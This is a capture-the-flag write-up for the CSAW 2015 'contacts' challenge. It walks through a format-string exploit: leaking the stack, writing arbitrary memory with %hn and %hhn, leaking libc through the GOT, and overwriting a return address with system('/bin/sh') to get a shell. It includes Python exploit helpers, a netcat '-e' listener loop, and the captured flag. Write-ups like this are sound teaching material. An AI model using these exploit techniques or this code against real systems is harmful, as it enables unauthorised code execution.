CSAW 2015 prequals exploit 250 contacts

@mrexcessive WHA

CSAW exploit 250 contacts

 

The problem

running at:
nc 54.165.223.128 2555

Pwnable Exploit no-source binary-provided

 

The solution

OK... so first of all setup debugging, get readelf -a and objdump -d on binary

Setup a local copy of the server using simple nc shell loop so can attach gdb easily

#!/bin/sh
while true; do nc -l -p 1337 -e ./contacts ; done

Now we can

$nc localhost 1337

#and in another terminal
$ps ax |grep contacts$
$gdb ./contacts -p 

To start with I mess about with the program... What is in there. Checking for buffer overflows, printf vulnerabilities.

Fairly soon find a printf() on the description field of a contact.

Looks as though printf(description) is being done when contacts are displayed.

For example, setup a contact called fred with "%p" as the description and we get a hex number printed out.
Always a good start.

Immediately I want to see how far this goes... can I get a load out ?

3
Name to change? fred
1.Change name
2.Change description
>>> 2
Length of description: 2000
Description: 
    %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Menu:
1)Create contact
2)Remove contact
3)Edit contact
4)Display contacts
5)Exit
>>> 4
Contacts:
    Name: fred
    Length 5
    Phone #: fred
    Description: 0x842e008 0xf7628d0b 0xf777d000 (nil) (nil) 0xffc6e608 0x8048c99 0x804b0a8 0x5 0x842e008 0x842e048 0xf777dac0 0x8048ed6 0x804b0a0 (nil) (nil) 0xf777d000 0xffc6e638 0x80487a2 0x804b0a0 0xffc6e628 0x50 (nil)

So that's nice !

I write a bit of Python to get a neater stack dump, want to send '"%08x " * 100 + "\n"' as a description and then format the results nicely, with row addresses etc.
Run it twice to see what addresses are changing and what staying the same...

0000 09afd008  f75c1d0b  f7716000  00000000  
0010 00000000  ffc1d448  08048c99  0804b0a8  
0020 000003e8  09afd008  09afd018  f7716ac0  
0030 08048ed6  0804b0a0  00000000  00000000  
0040 f7716000  ffc1d478  080487a2  0804b0a0  
0050 ffc1d468  00000050  00000000  f77163c4  
0060 f7762000  00000004  0000000a  08048df0  
0070 00000000  00000000  f7589a63  00000001  
0080 ffc1d514  ffc1d51c  f77507da  00000001  
0090 ffc1d514  ffc1d4b4  0804b034  080482f8  
00a0 f7716000  00000000  00000000  00000000  
00b0 74815609  461c1218  00000000  00000000  
00c0 00000000  00000001  080485c0  00000000  
00d0 f7756020  f7589979  f7762000  00000001  
00e0 080485c0  00000000  080485e1  080486bd  
00f0 00000001  ffc1d514  08048df0  08048e60  
0100 f7750c90  ffc1d50c  0000001c  00000001  
0110 ffc1d6cd  00000000  ffc1d6d6  ffc1d6ed  
0120 ffc1d6f8  ffc1d70a  ffc1d71d  ffc1d725  
0130 ffc1d736  ffc1d755  ffc1d7a6  ffc1d7be  
0140 ffc1d820  ffc1d839  ffc1d871  ffc1d87f  
0150 ffc1d891  ffc1d8a1  ffc1d8ac  ffc1d8bb  
0160 ffc1d8e7  ffc1d8f4  ffc1d932  ffc1d982  
0170 ffc1d98f  ffc1d9a0  ffc1dec1  ffc1def9  
0180 ffc1df2d  ffc1df3d  ffc1df50  ffc1df89  
0190   

Another run
0000 08717008  f75bad0b  f770f000  00000000  
0010 00000000  ffad6bb8  08048c99  0804b0a8  
0020 000003e8  08717008  08717018  f770fac0  
0030 08048ed6  0804b0a0  00000000  00000000  
0040 f770f000  ffad6be8  080487a2  0804b0a0  
0050 ffad6bd8  00000050  00000000  f770f3c4  
0060 f775b000  00000004  0000000a  08048df0  
0070 00000000  00000000  f7582a63  00000001  
0080 ffad6c84  ffad6c8c  f77497da  00000001  
0090 ffad6c84  ffad6c24  0804b034  080482f8  
00a0 f770f000  00000000  00000000  00000000  
00b0 f781e157  1d024546  00000000  00000000  
00c0 00000000  00000001  080485c0  00000000  
00d0 f774f020  f7582979  f775b000  00000001  
00e0 080485c0  00000000  080485e1  080486bd  
00f0 00000001  ffad6c84  08048df0  08048e60  
0100 f7749c90  ffad6c7c  0000001c  00000001  
0110 ffad76cd  00000000  ffad76d6  ffad76ed  
0120 ffad76f8  ffad770a  ffad771d  ffad7725  
0130 ffad7736  ffad7755  ffad77a6  ffad77be  
0140 ffad7820  ffad7839  ffad7871  ffad787f  
0150 ffad7891  ffad78a1  ffad78ac  ffad78bb  
0160 ffad78e7  ffad78f4  ffad7932  ffad7982  
0170 ffad798f  ffad79a0  ffad7ec1  ffad7ef9  
0180 ffad7f2d  ffad7f3d  ffad7f50  ffad7f89  
0190

So we have program addresses staying the same (0x804b0a8 for example)
but stack and heap moved.
libc or whatever is at xffc1d6cd is also moving around

Lets do some string printing, to see what's behind some of these pointers

So we have program addresses staying the same (0x804b0a8 for example)
but stack and heap moved
glibc or whatever xffc1d6cd is also moving


and with %s ? can we find pointer to buffers
OK we get segfault on %s

@1 is ^phone number string
So 08717008 is buffer memory - is this stack ?

@10, @11 are phone number (again) and ...buffer !

    Enter description:
        [%10$s] [%11$s]
Menu:
1)Create contact
2)Remove contact
3)Edit contact
4)Display contacts
5)Exit
>>> 4
Contacts:
    Name: abcd
    Length 100
    Phone #: efgh
    Description: [efgh] [[%10$s] [%11$s]

So %11 has '[%10$s] [%11$s]'
which was the input buffer

Excellent... so we have a pointer to something we can control which is located on the stack.

I think probably the inbuilt comment "[DEBUG] Haven't written a parser for phone numbers; "
is a red herring - because printf() vuln on description should be enough.

Looking at the objdump output.

PRINT_A_CONTACT:
 8048bd1:    55                      push   %ebp
 8048bd2:    89 e5                   mov    %esp,%ebp
 8048bd4:    83 ec 18                sub    $0x18,%esp
 8048bd7:    8b 45 08                mov    0x8(%ebp),%eax
 8048bda:    89 44 24 04             mov    %eax,0x4(%esp)
 8048bde:    c7 04 24 74 90 04 08    movl   $0x8049074,(%esp)         "\tName: %s\n"
 8048be5:    e8 06 f9 ff ff          call   80484f0 <printf@plt>
 8048bea:    8b 45 0c                mov    0xc(%ebp),%eax
 8048bed:    89 44 24 04             mov    %eax,0x4(%esp)
 8048bf1:    c7 04 24 7f 90 04 08    movl   $0x804907f,(%esp)         "\tLength %u\n"
 8048bf8:    e8 f3 f8 ff ff          call   80484f0 <printf@plt>
 8048bfd:    8b 45 10                mov    0x10(%ebp),%eax
 8048c00:    89 44 24 04             mov    %eax,0x4(%esp)
 8048c04:    c7 04 24 8b 90 04 08    movl   $0x804908b,(%esp)         "\tPhone #: %s\n"
 8048c0b:    e8 e0 f8 ff ff          call   80484f0 <printf@plt>
 8048c10:    c7 04 24 99 90 04 08    movl   $0x8049099,(%esp)         "\tDescription: "
 8048c17:    e8 d4 f8 ff ff          call   80484f0 <printf@plt>
 8048c1c:    8b 45 14                mov    0x14(%ebp),%eax
 8048c1f:    89 04 24                mov    %eax,(%esp)                  # !!! Description printed
                                                                         # without a "%s" wrapper,
 8048c22:    e8 c9 f8 ff ff          call   80484f0 <printf@plt>      # direct to the printf()
 8048c27:    c9                      leave  
 8048c28:    c3                      ret    

So what to aim for... ret2libc ?
Seems a bit much for 250 pts, but there's no obvious give flag function and ROP probably only other option.

We need EIP control first
So stack overwrite - but buffer is on heap... So going to be %hn etc.

Lets demonstrate we have control with %hhn

So... note that heap addresses have same low word each run...
Lets try changing to skip two chars in phone number print

0000 08717008  f75bad0b  f770f000  00000000            @1,2,3,4
0010 00000000  ffad6bb8  08048c99  0804b0a8            8c99 is after scanf
0020 000003e8  08717008  08717018  f770fac0            @9,10,11,12

try

%10c$11hhn %10$s

er should be
%10c%11$hhn %10$s

or in fact
%10c%10$hhn %10$s

This gives us...

Contacts:
    Name: abcd
    Length 100
    Phone #: efgh
    Description:          
fgh

Not the change I was expecting... oh yes it is... that's a \n character, ascii 10, from the %10c

A bit of messing with gdb to find the stack later...
And a new hex dump routine with stack references...

01 ffdacf34  088ea008  f756fd0b ?f76c4000  00000000      ? is stack canary
05 ffdacf44  00000000 #ffdacf78 >08048c99  0804b0a8      # EBP when EIP = 0x8048c27, >EIP after RET
09 ffdacf54  000003e8  088ea008  088ea018  f76c4ac0  
13 ffdacf64  08048ed6 *0804b0a0  00000000  00000000      * 0x804b0a0 is list of contacts - zeroed on exit
17 ffdacf74 ?f76c4000 #ffdacfa8 >080487a2  0804b0a0      # EBP after LEAVE, >EIP after RET
21 ffdacf84 ^ffdacf98  00000050  00000000  f76c43c4      ^ menu option
25 ffdacf94  f7710000 Z00000004  0000000a  08048df0      Z = menu option 4 chosen
29 ffdacfa4  00000000 #00000000>>f7537a63<<00000001      #0 end of EBP chain >>...<< RET addr on '5' chosen
33 ffdacfb4  ffdad044  ffdad04c  f76fe7da  00000001  
37 ffdacfc4  ffdad044  ffdacfe4  0804b034  080482f8  
41 ffdacfd4 ?f76c4000  00000000  00000000  00000000  
45 ffdacfe4  db018160  c86aa571  00000000  00000000  
49 ffdacff4  00000000  00000001  080485c0  00000000  
53 ffdad004  f7704020  f7537979  f7710000  00000001  
57 ffdad014  080485c0  00000000  080485e1  080486bd  
61 ffdad024  00000001  ffdad044  08048df0  08048e60  
65 ffdad034  f76fec90  ffdad03c  0000001c  00000001  
69 ffdad044  ffdad6cd  00000000  ffdad6d6  ffdad6ed

So execution goes like this:
So execution goes:

0x8048c27 (after call to printf, in PRINT_A_CONTACT)
0x8048c99 (after PRINT_A_CONTACT(), in PRINT_ALL_CONTACTS)
0x80487a2 (after PRINT_ALL_CONTACTS(), in MAINLOOP)

Maybe NX is only on the stack...
So we can create a contact and put executable code in there then return to it ?

So... return to code on EXIT (option 5)
This means overwriting @31 - which has the RET address after exit from program

So
1) mess with @31 and confirm we can do that
2) put shellcode somewhere executable
3) return to the shellcode
4) If that fails then ROP chain the bastard
5) If that fails then ret2libc...

1)
So messing with @31 and confirming.
It should remain on stack all the time until exit
To mess with @31 we need a pointer to it.
Probably should automate calculation in Python, but can maybe just blag it for test
So we overwrite the #00000000 associated with the final return, I think
That won't break anything as it just ends up in EBP after final LEAVE from MAIN_LOOP
@18 points to it. So first test is:

%18$08x %255c%18$hn %18$08x

and once again indirection wrong... we are messing with @31

%30$08x %255c%18$hn %30$08x

Hmmm why not changing anything, it worked before:

with %10c%10$hhn %10$s        - yes this works... changes byte in string
    %10$08x %65c%10$hhn %10$08x  - ok yes cos pointer doesn't change

Need to run it twice to see effect

OK Yes

%30$08x %255c%18$hn %30$08x
first print _    Description: 00000000                                                                                                                                                                                                                                                               00000000
second print (4) _Description: 00000108                                                                                                                                                                                                                                                               00000108

So.... we have messed with 30
Messing with 31... bit more involved.

Need a pointer we can write through, which already has the high nibble set correctly...
But... the target pointer needs to be after @30 - so it won't mess with execution inside MAIN_LOOP until Copy of dump from above...

01 ffdacf34  088ea008  f756fd0b ?f76c4000  00000000      ? is stack canary
05 ffdacf44  00000000 #ffdacf78 >08048c99  0804b0a8      # EBP when EIP = 0x8048c27, >EIP after RET
09 ffdacf54  000003e8  088ea008  088ea018  f76c4ac0  
13 ffdacf64  08048ed6 *0804b0a0  00000000  00000000      * 0x804b0a0 is list of contacts - zeroed on exit
17 ffdacf74 ?f76c4000 #ffdacfa8 >080487a2  0804b0a0      # EBP after LEAVE, >EIP after RET
21 ffdacf84 ^ffdacf98  00000050  00000000  f76c43c4      ^ menu option
25 ffdacf94  f7710000 Z00000004  0000000a  08048df0      Z = menu option 4 chosen
29 ffdacfa4  00000000 #00000000>>f7537a63<<00000001      #0 end of EBP chain >>...<< RET addr on '5' chosen
33 ffdacfb4  ffdad044  ffdad04c  f76fe7da  00000001  
37 ffdacfc4  ffdad044  ffdacfe4  0804b034  080482f8  
41 ffdacfd4 ?f76c4000  00000000  00000000  00000000  
45 ffdacfe4  db018160  c86aa571  00000000  00000000  
49 ffdacff4  00000000  00000001  080485c0  00000000  
53 ffdad004  f7704020  f7537979  f7710000  00000001  
57 ffdad014  080485c0  00000000  080485e1  080486bd  
61 ffdad024  00000001  ffdad044  08048df0  08048e60  
65 ffdad034  f76fec90  ffdad03c  0000001c  00000001  
69 ffdad044  ffdad6cd  00000000  ffdad6d6  ffdad6ed

OK so @33 has 0xffda.d044 -> [69]
[69] has ffda.d6cd
so I can write through 33 to %33hn on 69
Then write through @69 back to 31
BUT Will need coding up, because number to send through 33 into 69 needs calculating

pseudocode.

  1. DUMP to get addresses
  2. REMOVE contact - to make life simpler
  3. WRITE through @33 %hn to set @69 to point to @31 high nibble
  4. SET @31 high nibble to address of description string (so @11 high nibble)
  5. WRITE throguh @33 %hn to set @69 to point to @31 low nibble
  6. SET @31 low nibble to description string
  7. WRITE shellcode as description string

So I need a helper function to write a byte to an address, using two pointers like this. This is slightly involved because of the need to create, execute and delete a contact at each stage !

def CreateContact(required_desc,show=False):      # assumes at menu...
   s.send("1\nname\nnum\n1000\n" + required_desc + "\n")
   r = GetResponse()
   if show:
      print r

def ExecuteContactByPrinting(show=False):        # assumes only one contact - or things might get hairy
   global lastExecuteResult
   s.send("4\n")
   r = GetResponse()
   if show:    # don't always print (64k spaces is boring)
      print r
   lastExecuteResult = r

def DeleteContact(show=False):
   s.send("2\nname\n")
   r = GetResponse()
   if show:
      print r

def DoThing(thing,show=False):
   print "Sending [%s]" % thing
   CreateContact(thing,show)
   ExecuteContactByPrinting(show)
   DeleteContact(show)

# generalised write byte
def WriteByte(address,byte):     # this does writes using @33 to modify @69.
                                 # @69 is used to setup @70 low and high.
                                 #[@70] does the actual write
   address_low = address % 0x10000     # the end target address
   address_high = address >> 16

   global bvals
   a70 = bvals[18] + 0xa0
   a70_low = a70 % 0x10000
   print "Calculated @70 as %08x" % a70

   DoThing("%" + "%ic" % a70_low + "%33$hn",False)          # write address of low nibble @ 70, through @33 into 69
   DoThing("%" + "%ic" % address_low + "%69$hn",False)      # write lowpart of target address through 69 into 70

   DoThing("%" + "%ic" % (a70_low+2) + "%33$hn",False)      # address of high nibble @70, through @33 into 69
   DoThing("%" + "%ic" % address_high + "%69$hn",False)      # write high of target address through 69 into [70+2]
   if byte == 0:
      DoThing("%70$hhn",False)         # zero bytes must not have any char output first
   else:
      DoThing("%" + "%ic" % byte + "%70$hhn",False)            # write BYTE this time, so hhn

Or instead of shellcode could just try to find system() in libc which is now my favourite trick after getting it to work in EKOparty pre-quals last week.

This involves following the GOT to find the indirection which printf() makes to libc.
So we correctly pull back printf() in GOT as being [D0 4B 65 F7]
(byte order reversed... so is 0xf7654bd0... and this is local system only at this point)

It takes a while to properly locate system locally... because the library isn't working properly for some reason in the identify.py utility (see https://github.com/molnarg/libc-binary-collection)

But, I reason, perhaps identify.py will work fine on live system. Lets just confirm exploit works if I force in the correct system() address found manually...

It does... but gdb barfs trying to start a 64bit shell from 32bit program, doesn't like architecture switch.

But still - all is good.

So I have this Python which implements the read to find printf(), pauses while I use the identify.py to translate into a system() address, which I type into the program... then it continues and forces the exploit.

#the if True clauses are because I tested and developed this in sections

   if True: # display contents of printf() in GOT - hopefully to identify libc
      a34 = a31 + 12
      print " address of @34 is %08x" % a34
      WriteByte(a34+0, 0x10)
      WriteByte(a34+1, 0xb0)
      WriteByte(a34+2, 0x04)
      WriteByte(a34+3, 0x08)

      drop=ExtractHex()    # test it
      DeleteContact()            # make life easier
      # display the contents of printf_GOT - hopefully no \0 too early
      address = GetBinaryDword(0x34)
      print "Got printf() = 0x%08x" % address

   if True:    # allow user to put in system address
      sysstr = raw_input("Enter system address 0x")
      system = int(sysstr,16)

   if True: #  write system, 0x(dummy return), ^"/bin/sh"
      # first write "/bin/sh" somewhere - say @45
      a45 = a31 + (14*4)
      print "Decided @45 is at %08x" % a45
      shell = "/bin/sh"
      for i,c in enumerate(shell):
         WriteByte(a45 + i, ord(c))
      WriteByte(a45+i+1, 0)         # write final \0

      # then write system call to @31 and leave @32 alone - doesn't matter
      v0 = system % 0x100
      v1 = (system >> 8) % 0x100
      v2 = (system >> 16) % 0x100
      v3 = (system >> 24) % 0x100
      WriteByte(a31+0, v0)
      WriteByte(a31+1, v1)
      WriteByte(a31+2, v2)
      WriteByte(a31+3, v3)

      # @33 needs to get the address of @45 - but we used @33 for general WriteByte, so create a pointer to it @71 and then hhn
      a33 = a31 + 8        # yes I'm sure quicker ways available
      a71 = bvals[18] + 0xa4
      v0 = a33 % 0x100
      v1 = (a33 >> 8) % 0x100
      v2 = (a33 >> 16) % 0x100
      v3 = (a33 >> 24) % 0x100
      WriteByte(a71+0, v0)
      WriteByte(a71+1, v1)
      WriteByte(a71+2, v2)
      WriteByte(a71+3, v3)       #  @71 is now pointing to @33
      a45_low = a45 % 0x10000
      DoThing("%" + "%ic" % a45_low + "%71$hn",False)      # write low part only of @45 into @33
# CAN'T use WriteByte after this point... we are breaking @33
      drop=ExtractHex()    # test it

First time I ran it got 0xf7603c40 for printf(), so locally...

$ ./identify.py printf=0xf7603c40 system=?
system=0x00000000f75f6cd0 ubuntu/libc6-i386_2.19-0ubuntu6.5_amd64/lib32/libc-2.19.so
system=0x00000000f75f6a50 ubuntu/libc6_2.3.5-1ubuntu12.5.10.1_i386/lib/libc-2.3.5.so

But I mistyped the address.. (64bit onem amd64 - it won't be the i386 one)

So ran it again and got the probably system() address correct this time.
And it worked !

ls
contacts_54f3188f64e548565bc1b87d7aa07427
flag
cat flag
flag{f0rm47_s7r1ng5_4r3_fun_57uff}
! flag{f0rm47_s7r1ng5_4r3_fun_57uff}